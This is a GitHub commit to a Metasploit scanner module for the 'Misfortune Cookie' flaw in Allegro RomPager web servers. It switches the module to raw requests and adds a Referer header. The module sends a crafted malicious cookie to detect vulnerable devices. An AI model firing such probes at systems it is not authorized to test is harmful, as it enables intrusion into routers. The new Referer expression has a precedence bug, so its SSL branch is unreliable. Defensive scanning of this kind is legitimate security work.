Skip to content

Commit 9491e4c

Browse files
committed
Use send_request_raw; set realistic (and often necessary) Referer
1 parent b1ca1cc commit 9491e4c

File tree

1 file changed

+12
-5
lines changed

1 file changed

+12
-5
lines changed

modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb

Lines changed: 12 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -65,18 +65,25 @@ def find_canary_uri
6565
vprint_status("#{peer} locating suitable canary URI")
6666
0.upto(4) do
6767
canary = '/' + Rex::Text.rand_text_alpha(16)
68-
res = send_request_cgi('uri' => normalize_uri(canary), 'method' => 'GET')
68+
res = send_request_raw('uri' => normalize_uri(canary), 'method' => 'GET', 'headers' => headers)
6969
# in most cases, the canary URI will not exist and will return a 404, but if everything under
7070
# TARGETURI is protected by auth, that may be fine too
7171
return canary if res.code == 401 || res.code == 404
7272
end
7373
nil
7474
end
7575

76+
def headers
77+
{
78+
'Referer' => datastore['SSL'] ? 'https' : 'http' + "://#{rhost}:#{rport}"
79+
}
80+
end
81+
7682
def requires_auth?
77-
res = send_request_cgi(
83+
res = send_request_raw(
7884
'uri' => normalize_uri(target_uri.path.to_s),
79-
'method' => 'GET'
85+
'method' => 'GET',
86+
'headers' => headers
8087
)
8188
return false unless res
8289

@@ -101,10 +108,10 @@ def test_misfortune
101108

102109
# Make a request containing a malicious cookie with the canary value.
103110
# If that canary shows up in the *body*, they are vulnerable
104-
res = send_request_cgi(
111+
res = send_request_raw(
105112
'uri' => normalize_uri(target_uri.path.to_s),
106113
'method' => 'GET',
107-
'headers' => { 'Cookie' => "C107373883=#{canary}" }
114+
'headers' => headers.merge('Cookie' => "C107373883=#{canary}")
108115
)
109116

110117
unless res

0 commit comments

Comments
 (0)